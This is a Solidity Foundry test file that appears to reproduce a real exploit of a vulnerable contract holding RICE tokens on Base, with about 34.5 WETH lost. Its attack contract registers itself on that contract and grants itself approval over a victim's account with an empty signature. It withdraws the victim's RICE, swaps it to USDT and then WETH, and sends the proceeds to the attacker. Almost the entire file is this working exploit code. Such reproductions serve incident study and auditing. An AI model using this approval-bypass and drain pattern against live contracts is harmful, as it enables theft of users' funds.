src/test/2025-05/RICE_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 34.5 WETH ($88.1K)
8// Attacker : https://basescan.org/address/0x2a49c6fd18bd111d51c4fffa6559be1d950b8eff
9// Attack Contract : https://basescan.org/address/0x7ee23c81995fe7992721ac14b3af522718b63f8f
10// Vulnerable Contract : https://basescan.org/address/0xcfe0de4a50c80b434092f87e106dfa40b71a5563
11// Attack Tx : https://basescan.org/tx/0x8421c96c1cafa451e025c00706599ef82780bdc0db7d17b6263511a420e0cf20
12 
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xcfe0de4a50c80b434092f87e106dfa40b71a5563#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1926461662644633770
19// Hacking God : N/A
20 
21address constant WETH_ADDR = 0x4200000000000000000000000000000000000006;
22address constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
23address constant USDT_ADDR = 0xfde4C96c8593536E31F229EA8f37b2ADa2699bb2;
24address constant RICE_TOKEN = 0xf501E4c51dBd89B95de24b9D53778Ff97934cd9c;
25address constant SWAP_ROUTER = 0xBE6D8f0d05cC4be24d5167a3eF062215bE6D18a5;
26address constant UNISWAP_V3_ROUTER = 0x2626664c2603336E57B271c5C0b26F421741e481;
27 
28contract RICE_exp is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 30_655_996 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("base", blocknumToForkFrom);
33        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = WETH_ADDR;
35 
36        vm.label(WETH_ADDR, "WETH");
37        vm.label(USDC_ADDR, "USDC");
38        vm.label(USDT_ADDR, "USDT");
39        vm.label(RICE_TOKEN, "RICE");
40        vm.label(SWAP_ROUTER, "SwapRouter");
41        vm.label(UNISWAP_V3_ROUTER, "Uniswap V3: Swap Router02");
42    }
43 
44    function testExploit() public balanceLog {
45        AttackContract attackContract = new AttackContract();
46        attackContract.start();
47    }
48 
49    receive() external payable {
50        // Handle the received funds
51    }
52}
53 
54contract AttackContract {
55    address attacker;
56 
57    constructor() {
58        attacker = msg.sender;
59    }
60 
61    function start() public {
62        IERC20(USDT_ADDR).allowance(address(this), SWAP_ROUTER);
63        IERC20(USDT_ADDR).approve(SWAP_ROUTER, type(uint256).max);
64        IERC20(RICE_TOKEN).allowance(address(this), UNISWAP_V3_ROUTER);
65        IERC20(RICE_TOKEN).approve(UNISWAP_V3_ROUTER, type(uint256).max);
66 
67        address unverified = 0xcfE0DE4A50C80B434092f87e106DFA40b71A5563;
68        I0xcfE0(unverified).registerProtocol();
69        address user = 0x49876a20bB86714e98A7E4d0a33d85a4011b3455;
70        I0xcfE0(unverified).setMasterContractApproval(user, address(this), true, 0, bytes32(0), bytes32(0));
71        uint256 balance = 22_189_176_505_973_791_717_313_474;
72        I0xcfE0(unverified).withdraw(RICE_TOKEN, user, address(this), balance, balance);
73 
74        TokenHelper.approveToken(RICE_TOKEN, UNISWAP_V3_ROUTER, type(uint256).max);
75        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
76            tokenIn: RICE_TOKEN,
77            tokenOut: USDT_ADDR,
78            fee: 3000,
79            recipient: address(this),
80            amountIn: balance,
81            amountOutMinimum: 0,
82            sqrtPriceLimitX96: 0
83        });
84        ISwapRouter(UNISWAP_V3_ROUTER).exactInputSingle(params);
85 
86        TokenHelper.approveToken(USDT_ADDR, SWAP_ROUTER, type(uint256).max);
87 
88        ISwapRouter.ExactInputParams memory params2 = ISwapRouter.ExactInputParams({
89            path: hex"fde4c96c8593536e31f229ea8f37b2ada2699bb2000001833589fcd6edb6e08f4c7c32d4f71b54bda029130000644200000000000000000000000000000000000006",
90            recipient: address(this),
91            deadline: block.timestamp + 1000,
92            amountIn: 88_232_917_196,
93            amountOutMinimum: 0
94        });
95        ISwapRouter(SWAP_ROUTER).exactInput(params2);
96 
97        uint256 finalBalance = TokenHelper.getTokenBalance(WETH_ADDR, address(this));
98        TokenHelper.transferToken(WETH_ADDR, attacker, finalBalance);
99    }
100 
101    receive() external payable {
102        // Handle the received funds
103    }
104}
105 
106interface I0xcfE0 {
107    function registerProtocol() external;
108    function setMasterContractApproval(
109        address user,
110        address masterContract,
111        bool approved,
112        uint8 v,
113        bytes32 r,
114        bytes32 s
115    ) external;
116    function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;
117}
118 
119interface ISwapRouter {
120    struct ExactInputSingleParams {
121        address tokenIn;
122        address tokenOut;
123        uint24 fee;
124        address recipient;
125        uint256 amountIn;
126        uint256 amountOutMinimum;
127        uint160 sqrtPriceLimitX96;
128    }
129 
130    struct ExactInputParams {
131        bytes path;
132        address recipient;
133        uint256 deadline;
134        uint256 amountIn;
135        uint256 amountOutMinimum;
136    }
137 
138    function exactInputSingle(ExactInputSingleParams memory params) external payable returns (uint256 amountOut);
139 
140    function exactInput(ExactInputParams memory params) external payable returns (uint256 amountOut);
141}